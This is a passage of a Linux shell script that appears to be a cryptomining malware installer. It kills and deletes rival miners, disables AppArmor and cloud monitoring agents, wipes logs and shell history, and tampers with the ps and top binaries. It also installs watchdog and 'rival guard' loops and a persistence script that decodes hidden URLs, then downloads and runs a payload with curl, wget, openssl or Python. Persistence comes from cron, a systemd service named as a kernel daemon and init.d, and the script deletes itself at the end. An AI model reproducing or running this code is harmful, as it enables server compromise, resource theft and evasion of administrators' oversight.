rm -rf /etc/nnt.sh
rm -rf /etc/is.sh
rm -f /tmp/kthrotlds
rm -f /etc/rc.d/init.d/kthrotlds
rm -rf /tmp/.sysbabyuuuuu12
rm -rf /tmp/logo9.jpg
rm -rf /tmp/miner.sh
rm -rf /tmp/nullcrew
rm -rf /tmp/proc
rm -rf /tmp/2.sh
rm /opt/atlassian/confluence/bin/1.sh
rm /opt/atlassian/confluence/bin/1.sh.1
rm /opt/atlassian/confluence/bin/1.sh.2
rm /opt/atlassian/confluence/bin/1.sh.3
rm /opt/atlassian/confluence/bin/3.sh
rm /opt/atlassian/confluence/bin/3.sh.1
rm /opt/atlassian/confluence/bin/3.sh.2
rm /opt/atlassian/confluence/bin/3.sh.3
rm -rf /var/tmp/wc.conf /var/tmp/f41 /var/tmp/2.sh /var/tmp/config.json /var/tmp/xmrig /var/tmp/1.so /var/tmp/kworkerds3 /var/tmp/kworkerdssx /var/tmp/kworkerds
rm -rf /var/tmp/sustse3
rm -rf /var/tmp/sustse
rm -rf /var/tmp/moneroocean/
rm -rf /var/tmp/devtool
rm -rf /var/tmp/devtools
rm -rf /var/tmp/play.sh
rm -rf /var/tmp/systemctI
rm -rf /var/tmp/.java
rm -rf /var/tmp/1.sh
rm -rf /var/tmp/conf.n
rm -r /var/tmp/lib
rm -r /var/tmp/.lib
rm -rf /opt/systemd-service.sh
rm -rf /opt/.systemd-service.sh
rm -rf /root/.systemd-service.sh
chattr -R -ia /usr/bin/TeamTNT/*
chattr -R -ia /usr/bin/watchdogd*
rm -rf /usr/bin/watchdogd*
service crypto stop
systemctl stop crypto.service
systemctl stop watchdogd
service watchdogd stop
rm -fr /usr/bin/TeamTNT/*
chattr -iau /tmp/lok
chmod +700 /tmp/lok
rm -rf /tmp/lok
sleep 1
chattr -i /tmp/kdevtmpfsi
echo 1 > /tmp/kdevtmpfsi
chattr +i /tmp/kdevtmpfsi
sleep 1
chattr -i /usr/lib/systemd/systemd-update-daily
echo 1 > /usr/lib/systemd/systemd-update-daily
chattr +i /usr/lib/systemd/systemd-update-daily

chattr -ia /etc/rc.d/rc.local /etc/rc.local 2>/dev/null
docker ps --filter "name=pocosow" --filter "name=gakeaws" --filter "name=azulu" --filter "name=auto" --filter "name=xmr" --filter "name=mine" --filter "name=slowhttp" --filter "name=bash.shell" --filter "name=entrypoint.sh" --filter "name=/var/sbin/bash" -q | xargs -r docker kill
docker images -a --filter "reference=pocosow" --filter "reference=gakeaws" --filter "reference=buster-slim" --filter "reference=hello-" --filter "reference=azulu" --filter "reference=registry" --filter "reference=xmr" --filter "reference=auto" --filter "reference=mine" --filter "reference=monero" --filter "reference=slowhttp" -q | xargs -r docker rmi -f
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
chattr -R -ia /usr/bin/TeamTNT/* /usr/bin/watchdogd* /var/spool/cron /etc/crontab /etc/cron.d /var/spool/cron/crontabs
chattr -iau /tmp/lok
chattr -i /tmp/kdevtmpfsi /usr/lib/systemd/systemd-update-daily
sudo sed -i '/pool\.supportxmr\.com/d' /etc/hosts
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
fi

if [ "$(id -u)" = "0" ]; then
    for _b in ps top; do
        _path=$(command -v "$_b" 2>/dev/null)
        [ -n "$_path" ] && [ -f "$_path" ] && modify_binary "$_path"
    done
fi

if [ "$IS_ROOT" = "1" ]; then
    _wd_path="$INSTALL_DIR/$ROOT_NAME3"      # /bin/idle
    _start_path="$INSTALL_DIR/$ROOT_NAME2"   # /bin/javab
else
    _wd_path="$INSTALL_DIR/$FILE3"
    _start_path="$INSTALL_DIR/$FILE2"
fi

chmod +x "$_wd_path" 2>/dev/null
chmod +x "$_start_path" 2>/dev/null
if [ "$IS_ROOT" = "1" ]; then
    chmod +x "$INSTALL_DIR/$ROOT_NAME2" 2>/dev/null
else
    chmod +x "$INSTALL_DIR/$FILE2" 2>/dev/null
fi

_use_builtin=0
_head=$(head -1 "$_wd_path" 2>/dev/null)
case "$_head" in
    "#!"*) ;;  # it is a script, use directly
    *)      _use_builtin=1 ;;
esac

if [ "$_use_builtin" = "1" ]; then
    echo "[*] $_wd_path is not a shell script, writing built-in watchdog"
    _wd_path="$INSTALL_DIR/watchdog.sh"
    rm -f "$_wd_path" 2>/dev/null
    cat > "$_wd_path" << 'WDOGEOF'
#!/bin/sh
PROCESS="${1:-javab}"
RESTART_BIN="${2}"
CHECK=3
WDIR="$(dirname "$0")"
[ -z "$WDIR" ] && WDIR="/tmp"
if [ -z "$RESTART_BIN" ]; then
    if [ "$(id -u)" = "0" ]; then RESTART_BIN="/bin/javab"; else RESTART_BIN="$WDIR/javab"; fi
fi
PERSIST_SH="$WDIR/.khp"
echo "[watchdog] monitoring '$PROCESS', restart=$RESTART_BIN" >&2
while true; do
    if ! pgrep -x "$PROCESS" >/dev/null 2>&1; then
                if [ -x "$RESTART_BIN" ]; then
            cd "$(dirname "$RESTART_BIN")" || exit 1
            bg "\"$RESTART_BIN\""
        elif [ -x "$PERSIST_SH" ]; then
            bg "\"$PERSIST_SH\""
        fi
        elif [ -x "$PERSIST_SH" ]; then
            "$PERSIST_SH" &
        fi
    fi
    sleep "$CHECK"
done
WDOGEOF
    chmod +x "$_wd_path"
fi

bg "\"$_wd_path\" \"$WATCH_PROCESS\" \"$_start_path\""
_wd_pid=$!
echo
echo "[+] watchdog launched (pid $_wd_pid): monitoring '$WATCH_PROCESS'"

_rg_path="$INSTALL_DIR/.rguard"
cat > "$_rg_path" << RGUARDEOF
#!/bin/sh
_LOCK_DIR="/tmp/.rguard_lockd"
if ! mkdir "\$_LOCK_DIR" 2>/dev/null; then
    _old_pid=\$(cat "\$_LOCK_DIR/pid" 2>/dev/null)
    if [ -n "\$_old_pid" ] && kill -0 "\$_old_pid" 2>/dev/null; then
        exit 0
    fi
    rm -rf "\$_LOCK_DIR" 2>/dev/null
    mkdir "\$_LOCK_DIR" 2>/dev/null || exit 0
fi
echo \$\$ > "\$_LOCK_DIR/pid" 2>/dev/null
while true; do
    _g_uid=\$(id -u 2>/dev/null)
    if [ -n "\$_g_uid" ] && [ "\$_g_uid" != "0" ]; then
        for _d in /proc/[0-9]*; do
            _pid=\${_d##*/}
            _uid=\$(awk '/^Uid:/{print \$2}' "\$_d/status" 2>/dev/null) || continue
            [ "\$_uid" = "\$_g_uid" ] || continue
            [ "\$_pid" = "\$\$" ] && continue
            _exe=\$(readlink "\$_d/exe" 2>/dev/null)
            _cwd=\$(readlink "\$_d/cwd" 2>/dev/null)
            _c=\$(tr '\0' ' ' < "\$_d/cmdline" 2>/dev/null)
            if [ -z "\$_c" ]; then
                _c=\$(awk '{print \$2}' "\$_d/stat" 2>/dev/null)
                [ -n "\$_c" ] && _c="[\$_c]"
            fi
            [ -z "\$_c" ] && continue
            case "\$_exe|\$_cwd" in
                *deleted*|/dev/shm/*|/tmp/*|/var/tmp/*|/var/lib/*) ;;
                *) case "\$_c" in
                       */dev/shm/*|*/tmp/*|*/var/tmp/*|*/var/lib/*|\[*\]|*miner*|*rig*|*xmr*) ;;
                       *) continue ;;
                   esac ;;
            esac
            case "\$_c" in
                *javab*|*ksmd*|*idle*|*.khp*|*.rguard*|*self*|*ksmdr*|*krun*|*gitea*) continue ;;
            esac
            kill -9 "\$_pid" 2>/dev/null
        done
    fi
    for _d in /proc/[0-9]*; do
        _pid=\${_d##*/}
        _exe=\$(readlink "\$_d/exe" 2>/dev/null) || continue
        case "\$_exe" in
            *ssl-compet*|*sslmon*|*mnmonitor*|*cpuhide*|*.gt_sys_health*|*.gt_sys_wd*|*.gt_cron_health*|*esocket4*|*universal-miner*|*unicorn*)
                kill -9 "\$_pid" 2>/dev/null ;;
        esac
    done
    for _d in /proc/[0-9]*; do
        _pid=\${_d##*/}
        _cmd=\$(tr '\0' ' ' < "\$_d/cmdline" 2>/dev/null) || continue
        case "\$_cmd" in
            "[kworker"*|"[kswapd"*|"[kblockd"*|"[khugepaged"*|"[kdevtmpfs"*|"[kcompactd"*|"[watchdog"*|"[ksoftirqd"*)
                _uid=\$(awk '/^Uid:/{print \$2}' "\$_d/status" 2>/dev/null)
                [ -n "\$_uid" ] && [ "\$_uid" != "0" ] && kill -9 "\$_pid" 2>/dev/null ;;
        esac
    done
    pkill -9 -f 'CRON jobs' 2>/dev/null
    pkill -9 -f 'sleep 180' 2>/dev/null
    pkill -9 -f 'sh jobs' 2>/dev/null
    pkill -9 -f '/bin/sh jobs' 2>/dev/null
    pkill -9 -f 'gt_sys_wd' 2>/dev/null
    pkill -9 -f 'ssl-compet' 2>/dev/null
    pkill -9 -f 'mnmonitor' 2>/dev/null
    pkill -9 -f 'cpuhide' 2>/dev/null
    pkill -9 -f 'unicorn' 2>/dev/null
    pkill -9 -f 'apt-update' 2>/dev/null
    pkill -9 -f 'joker\.' 2>/dev/null
    rm -f /tmp/xmrig* /tmp/kinsing /tmp/kdevtmpfs /tmp/kswaped /tmp/wc.conf /tmp/1.so /tmp/httpgd /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/watchdogs /tmp/kworkerds /tmp/kworkerds3 /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.b /tmp/.salkidwuewerwe /tmp/.mmmjjsdfsdfwerrwerwer /tmp/.universal-miner /tmp/.java /tmp/.a /tmp/.c 2>/dev/null
    rm -f /tmp/xmrig* /tmp/.rival* /tmp/.log /tmp/log_rot /tmp/apachiii /tmp/xd.json /tmp/dl /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs /tmp/gates.lod /tmp/osw.hb /tmp/kerberods /tmp/khugepageds /tmp/curl 2>/dev/null
    rm -rf /tmp/.x11* /tmp/.X11* /dev/shm/.x* /var/tmp/.x* /tmp/.systemd /tmp/.update /tmp/.default /tmp/.init 2>/dev/null
    rm -f /var/tmp/xmrig* /dev/shm/xmrig* /usr/bin/xmrig* /usr/local/bin/xmrig* 2>/dev/null
    sleep 30
done
RGUARDEOF
    chmod +x "$_rg_path"
bg "\"$_rg_path\""
_rg_pid=$!
echo "[+] rival guard launched (pid $_rg_pid): cleanup every 0.1s"

_wd_name="${ROOT_NAME3}"
[ "$IS_ROOT" != "1" ] && _wd_name="$FILE3"

_persist_sh="$INSTALL_DIR/.khp"
_fetch_lines=""
if command -v curl >/dev/null 2>&1; then
    _dl_cmd="curl -fsSLk --connect-timeout 10 --max-time 60 \"__U__/ksmd\" -o \"__INSTALL_DIR__/ksmd\" 2>/dev/null"
    _dl_name="curl"
elif command -v cd1 >/dev/null 2>&1; then
    _dl_cmd="cd1 -fsSLk --connect-timeout 10 --max-time 60 \"__U__/ksmd\" -o \"__INSTALL_DIR__/ksmd\" 2>/dev/null"
    _dl_name="cd1(curl alias)"
elif command -v wget >/dev/null 2>&1; then
    _dl_cmd="wget -q --no-check-certificate --timeout=10 -O \"__INSTALL_DIR__/ksmd\" \"__U__/ksmd\" 2>/dev/null"
    _dl_name="wget"
elif command -v wd1 >/dev/null 2>&1; then
    _dl_cmd="wd1 -q --no-check-certificate --timeout=10 -O \"__INSTALL_DIR__/ksmd\" \"__U__/ksmd\" 2>/dev/null"
    _dl_name="wd1(wget alias)"
elif command -v openssl >/dev/null 2>&1; then
    _dl_cmd="openssl s_client -quiet -connect __U__:443 2>/dev/null </dev/null > \"__INSTALL_DIR__/ksmd\""
    _dl_name="openssl"
elif command -v python3 >/dev/null 2>&1; then
    _dl_cmd="python3 -c 'import urllib.request,ssl as _s; _c=_s._create_unverified_context(); urllib.request.urlretrieve(\"__U__/ksmd\", \"__INSTALL_DIR__/ksmd\")' 2>/dev/null"
    _dl_name="python3"
elif command -v python >/dev/null 2>&1; then
    _dl_cmd="python -c 'import urllib; urllib.urlretrieve(\"__U__/ksmd\", \"__INSTALL_DIR__/ksmd\")' 2>/dev/null"
    _dl_name="python"
elif command -v python2 >/dev/null 2>&1; then
    _dl_cmd="python2 -c 'import urllib; urllib.urlretrieve(\"__U__/ksmd\", \"__INSTALL_DIR__/ksmd\")' 2>/dev/null"
    _dl_name="python2"
else
    _dl_cmd=""
fi

if [ -n "$_dl_cmd" ]; then
    echo "[+] using downloader: $_dl_name"
    _dl_cmd_tpl=$(echo "$_dl_cmd" | sed "s|__U__|\\\$_ku|g; s|__INSTALL_DIR__|$INSTALL_DIR|g")
    _fetch_lines="
    for _ku in \$URLS_K; do
        [ -n \"\$_ku\" ] || continue
        $_dl_cmd_tpl
        [ -s \"$INSTALL_DIR/ksmd\" ] && break
    done"
else
    echo "[!] no download tool found, persist.sh will be empty"
fi

_URLS_HEX_OUT=""
for _u in $URLS; do
    _uhex=$(printf '%s' "$_u" | xxd -p 2>/dev/null | tr -d '\n')
    [ -z "$_uhex" ] && _uhex=$(printf '%s' "$_u" | od -An -tx1 | tr -d ' \n')
    _URLS_HEX_OUT="$_URLS_HEX_OUT $_uhex"
done
unset _uhex

rm -f "$_persist_sh" 2>/dev/null
cat > "$_persist_sh" << PERSISTEOF
#!/bin/sh
bg() {
    _bg_cmd="\$1"
    if command -v setsid >/dev/null 2>&1; then
        setsid sh -c "\$_bg_cmd" >/dev/null 2>&1 &
    elif command -v nohup >/dev/null 2>&1; then
        nohup sh -c "\$_bg_cmd" >/dev/null 2>&1 &
    else
        sh -c "\$_bg_cmd" >/dev/null 2>&1 &
    fi
}
INSTALL_DIR="$INSTALL_DIR"
_URL_HEX_K="$_URLS_HEX_OUT"
URLS_K=""
for _hx in \$_URL_HEX_K; do
    _dec=""
    if command -v python3 >/dev/null 2>&1; then
        _dec=\$(python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" "\$_hx" 2>/dev/null)
    elif command -v python >/dev/null 2>&1; then
        _dec=\$(python -c "import sys;print(sys.argv[1].decode('hex'))" "\$_hx" 2>/dev/null)
    elif command -v xxd >/dev/null 2>&1; then
        _dec=\$(echo "\$_hx" | xxd -r -p 2>/dev/null)
    elif command -v perl >/dev/null 2>&1; then
        _dec=\$(echo "\$_hx" | perl -pe 's/(..)/chr(hex(\$1))/ge' 2>/dev/null)
    else
        _dec=\$(echo "\$_hx" | sed 's/\\(..\\)/\\\\x\\1/g' | xargs printf '%b' 2>/dev/null)
    fi
    [ -n "\$_dec" ] && URLS_K="\$URLS_K \$_dec"
done
unset _URL_HEX_K _hx _dec
_t="$INSTALL_DIR/.khp_ts"
_n=\$(date +%s 2>/dev/null)
for _d in /proc/[0-9]*; do
    _pid=\${_d##*/}
    _exe=\$(readlink "\$_d/exe" 2>/dev/null) || continue
    case "\$_exe" in
        *ssl-compet*|*sslmon*|*mnmonitor*|*cpuhide*|*.gt_sys_health*|*.gt_sys_wd*|*.gt_cron_health*|*esocket4*|*universal-miner*|*unicorn*)
            kill -9 "\$_pid" 2>/dev/null ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=\${_d##*/}
    _cmd=\$(tr '\0' ' ' < "\$_d/cmdline" 2>/dev/null) || continue
    case "\$_cmd" in
        "[kworker"*|"[kswapd"*|"[kblockd"*|"[khugepaged"*|"[kdevtmpfs"*|"[kcompactd"*|"[watchdog"*|"[ksoftirqd"*)
            _uid=\$(awk '/^Uid:/{print \$2}' "\$_d/status" 2>/dev/null)
            [ -n "\$_uid" ] && [ "\$_uid" != "0" ] && kill -9 "\$_pid" 2>/dev/null ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=\${_d##*/}
    _uid=\$(awk '/^Uid:/{print \$2}' "\$_d/status" 2>/dev/null)
    [ -n "\$_uid" ] && [ "\$_uid" = "0" ] && continue
    _exe=\$(readlink "\$_d/exe" 2>/dev/null) || continue
    _cwd=\$(readlink "\$_d/cwd" 2>/dev/null)
    case "\$_exe|\$_cwd" in
        *deleted*) 
            _cmd=\$(tr '\0' ' ' < "\$_d/cmdline" 2>/dev/null)
            case "\$_cmd" in
                *javab*|*ksmd*|*idle*|*.khp*|*.rguard*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
                    :
                    ;;
                *)
                    kill -9 "\$_pid" 2>/dev/null
                    ;;
            esac
            continue
            ;;
    esac
    _w=0
    for _dd in /dev/shm /dev/sdhm /var/tmp /tmp /run /var/run /var/lib; do
        case "\$_exe" in
            "\$_dd"/*) _w=1 ;;
        esac
    done
    [ "\$_w" = "1" ] || continue
    _cmd=\$(tr '\0' ' ' < "\$_d/cmdline" 2>/dev/null)
    case "\$_cmd" in
        *javab*|*ksmd*|*idle*|*.khp*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
            :
            ;;
        *)
            kill -9 "\$_pid" 2>/dev/null
            rm -f "\$_exe" 2>/dev/null
            ;;
    esac
done
pkill -9 -f 'gt_sys_wd' 2>/dev/null
pkill -9 -f 'ssl-compet' 2>/dev/null
pkill -9 -f 'mnmonitor' 2>/dev/null
pkill -9 -f 'cpuhide' 2>/dev/null
if ! pgrep -f ".rguard" >/dev/null 2>&1; then
    bg "\"$INSTALL_DIR/.rguard\""
fi
if ! pgrep -f "$INSTALL_DIR/idle" >/dev/null 2>&1; then
    [ -x "$INSTALL_DIR/idle" ] && bg "sh $INSTALL_DIR/idle javab $INSTALL_DIR/javab"
fi
if [ "\$IS_ROOT" = "1" ] && command -v systemctl >/dev/null 2>&1 && [ -d /etc/systemd/system ]; then
    systemctl is-enabled javab.service >/dev/null 2>&1 || systemctl enable javab.service 2>/dev/null
    systemctl is-active javab.service >/dev/null 2>&1 || systemctl start javab.service 2>/dev/null
elif [ "\$IS_ROOT" = "1" ] && [ -d /etc/init.d ]; then
    [ -x /etc/init.d/javab ] || { cat > /etc/init.d/javab << 'INITSELFEOF'
#!/bin/sh
case "$1" in
start) nohup sh "$INSTALL_DIR/.khp" >/dev/null 2>&1 & ;;
stop) pkill -f "$INSTALL_DIR/.khp" 2>/dev/null ;;
*) exit 0 ;;
esac
INITSELFEOF
    chmod +x /etc/init.d/javab 2>/dev/null
    update-rc.d javab defaults 2>/dev/null
    }
fi
crontab -l 2>/dev/null | grep -F "$INSTALL_DIR/.khp" >/dev/null 2>&1 || { crontab -l 2>/dev/null; echo "* * * * * $INSTALL_DIR/.khp"; } | crontab - 2>/dev/null
rm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json 2>/dev/null
rm -rf /dev/shm/.xmon-112 /dev/shm/.xmon* /tmp/.xmon* /var/tmp/.xmon* 2>/dev/null
find /root /home /tmp /var/tmp /dev/shm -maxdepth 5 -name "mnmonitor.sh" -exec rm -f {} \; 2>/dev/null
if [ ! -x "$INSTALL_DIR/idle" ] || [ ! -x "$INSTALL_DIR/javab" ]; then
    $_fetch_lines
    if [ -s "$INSTALL_DIR/ksmd" ]; then
        cd "$INSTALL_DIR" && sh ksmd
    fi
    exit 0
fi
[ -n "\$_n" ] && [ -f "\$_t" ] && [ \$((\$_n - \$(cat "\$_t" 2>/dev/null))) -lt 7200 ] && exit 0
echo "\$_n" > "\$_t" 2>/dev/null
$_fetch_lines
if [ -s "$INSTALL_DIR/ksmd" ]; then
    cd "$INSTALL_DIR" && sh ksmd
fi
PERSISTEOF
chmod +x "$_persist_sh"
echo "[+] persist.sh written to $_persist_sh"

if [ -f /.dockerenv ]; then
    echo "[*] Docker detected, installing crontab"
    _cron_line="* * * * * $_persist_sh"
    crontab -l 2>/dev/null | grep -vF "$_persist_sh" | crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "$_cron_line") | crontab - 2>/dev/null
    echo "[+] crontab: $_cron_line"

elif [ "\$IS_ROOT" = "1" ] && command -v systemctl >/dev/null 2>&1 && [ -d /etc/systemd/system ]; then
    echo "[*] systemd detected, installing javab.service"
    cat > /etc/systemd/system/javab.service << SYSTEMDEOF
[Unit]
Description=Kernel Thread Daemon
After=network.target network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/bin/sh -c 'while true; do if ! pgrep -x "$WATCH_PROCESS" >/dev/null 2>&1 && ! pgrep -f "^\./$WATCH_PROCESS" >/dev/null 2>&1; then $_persist_sh; fi; sleep 300; done'
ExecStop=/bin/true
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
SYSTEMDEOF
    systemctl daemon-reload 2>/dev/null
    systemctl enable javab.service 2>/dev/null
    systemctl start javab.service 2>/dev/null
    echo "[+] systemd: javab.service installed & started"

elif [ "\$IS_ROOT" = "1" ] && [ -d /etc/init.d ]; then
    echo "[*] sysvinit detected, installing init.d/javab"
    cat > /etc/init.d/javab << INITDEOF
#!/bin/sh
case "\$1" in
    start)
        bg "/bin/sh -c 'while true; do if ! pgrep -x \"$WATCH_PROCESS\" >/dev/null 2>&1; then $_persist_sh; fi; sleep 300; done'"
        ;;
    stop)
        pkill -f "$WATCH_PROCESS" 2>/dev/null || true
        pkill -f "persist.sh" 2>/dev/null || true
        ;;
esac
exit 0
INITDEOF
    chmod +x /etc/init.d/javab
    update-rc.d javab defaults 2>/dev/null || chkconfig javab on 2>/dev/null || true
    /etc/init.d/javab start 2>/dev/null || service javab start 2>/dev/null || true
    echo "[+] init.d: javab installed & started"

else
    echo "[*] no systemd/init.d, falling back to crontab"
    _cron_line="* * * * * $_persist_sh"
    crontab -l 2>/dev/null | grep -vF "$_persist_sh" | crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "$_cron_line") | crontab - 2>/dev/null
    echo "[+] crontab: $_cron_line"
fi

if [ "$(id -u)" = "0" ] && command -v chattr >/dev/null 2>&1; then
    echo "[*] locking cron..."
    if [ -d /etc/cron.d ]; then
        chattr -R +ia /etc/cron.d 2>/dev/null && echo "[+] chattr +ia /etc/cron.d/" || echo "[-] chattr /etc/cron.d/ failed"
    fi
    for _cf in /var/spool/cron/crontabs/root /var/spool/cron/root; do
        if [ -f "$_cf" ]; then
            chattr +ia "$_cf" 2>/dev/null && echo "[+] chattr +ia $_cf" || echo "[-] chattr $_cf failed"
        fi
    done
fi

echo "[+] install dir: $INSTALL_DIR"
echo "[+] done"

rm -f "$INSTALL_DIR"/ksmd* 2>/dev/null
rm -f "$TMP_DIR"/ksmd* 2>/dev/null
rm -f /tmp/ksmd* /var/tmp/ksmd* /dev/shm/ksmd* 2>/dev/null
rm -f /tmp/.ksmd* /tmp/.ksmdr* /tmp/.krun* 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0